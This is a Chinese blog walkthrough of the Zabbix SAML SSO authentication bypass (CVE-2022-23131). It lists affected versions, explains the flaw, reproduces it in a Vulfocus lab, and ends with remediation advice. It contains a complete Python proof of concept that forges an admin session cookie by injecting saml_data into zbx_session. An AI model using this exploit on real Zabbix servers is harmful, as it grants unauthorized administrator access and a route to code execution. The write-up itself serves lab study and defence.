CVE-2022-23131 Zabbix SAML SSO认证绕过漏洞
2022/6/11 23:54:27
本文主要是介绍CVE-2022-23131 Zabbix SAML SSO认证绕过漏洞,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
一、漏洞概述
Zabbix 是一个非常流行的开源监控平台,用于收集、集中和跟踪整个基础设施中的 CPU 负载和网络流量等指标。它与 Pandora FMS 和 Nagios 等解决方案非常相似。由于其受欢迎程度、功能和在大多数公司网络中的特权地位,Zabbix 是威胁参与者的高调目标。
Zabbix对客户端提交的Cookie会话存在不安全的存储方式,导致在启动SAML SSO认证模式的前提下,恶意用户可通过构造特殊请求绕过认证,获取管理员权限,进而可实现RCE。
——https://blog.csdn.net/weixin_46944519/article/details/123131257
二、影响版本
- 4.0.36
- 5.0.18
- 5.4.8
- 6.0.0alpha1
三、漏洞原理
- 什么是SAML SSO 身份验证
-
大白话就是当伪造的cookie中存在saml_data时,获取username_attribute的数据,如果该用户真实存在则会生成一个sessionid从而实现身份认证绕过。
大佬链接:https://blog.csdn.net/weixin_46944519/article/details/123131257
四、漏洞复现环境
Kali Linux + Vulfocus
渗透机:Kali Linux
靶机:Vulfocus
五、实验步骤
1.开启镜像环境,访问页面
2.开启kali自带的DirBuster子目录爆破工具,找到存在一个/zabbix/index.php路径
3.访问该URL
4.使用EditThisCookie插件,准备换Admin的Cookie
5.使用该poc获得加密后的PayLoad(先贴上大佬的poc,后面再自己尝试写一个~)
1 # coding 2 3 import sys 4 import requests 5 import re,base64,urllib.parse,json 6 # 禁用警告 7 from requests.packages.urllib3.exceptions import InsecureRequestWarning 8 requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 9 10 def runPoc(url): 11 response = requests.get(url,verify=False) 12 13 cookie = response.headers.get("Set-Cookie") 14 15 sessionReg = re.compile("zbx_session=(.*?);") 16 try: 17 session = re.findall(sessionReg,cookie)[0] 18 19 base64_decode = base64.b64decode(urllib.parse.unquote(session,encoding="utf-8")) 20 session_json = json.loads(base64_decode) 21 22 payload = '{"saml_data":{"username_attribute":"Admin"},"sessionid":"%s","sign":"%s"}'%(session_json["sessionid"],session_json["sign"]) 23 24 print("未加密Payload:" + payload) 25 print('\n') 26 payload_encode = urllib.parse.quote(base64.b64encode(payload.encode())) 27 28 print("加密后Payload:" + payload_encode) 29 30 except IndexError: 31 print("[-] 不存在漏洞") 32 33 if __name__ == '__main__': 34 try: 35 url = sys.argv[1] 36 runPoc(url) 37 except IndexError: 38 print(""" 39 Use: python CVE-2022-23131.py http://xxxxxxxxx.com 40 41 By:MrHatSec""")
6.切换Cookie,即可实现绕过登录
7.很尴尬的是没找到flag……有哪位同仁找到的话记得和我说一下
六、修复方式
1、禁用 SAML 身份验证
2、升级安全版本:https://support.zabbix.com/browse/ZBX-20350
这篇关于CVE-2022-23131 Zabbix SAML SSO认证绕过漏洞的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-09-16优化批处理流程:自定义BatchProcessorUtils的设计与应用
- 2024-09-15laravel collect游标批量插入的方法示例-icode9专业技术文章分享
- 2024-09-15怎么修改laravel的中间件 把获取IP改成X-Real-IP-icode9专业技术文章分享
- 2024-09-15laravel默认分页返回样式是什么-icode9专业技术文章分享
- 2024-09-15服务类中 怎么调用模型基类的函数-icode9专业技术文章分享
- 2024-09-15依赖注入比静态方法有什么好处-icode9专业技术文章分享
- 2024-09-15不使用静态方法控制器调用服务类有什么方法-icode9专业技术文章分享
- 2024-09-15laravel 验证器限制5个汉字以内实现方式-icode9专业技术文章分享
- 2024-09-14从基础到实战:解读CNN资料,轻松掌握卷积神经网络入门知识
- 2024-09-14PingCAP 荣登 2024 Cloud 100 China 第七名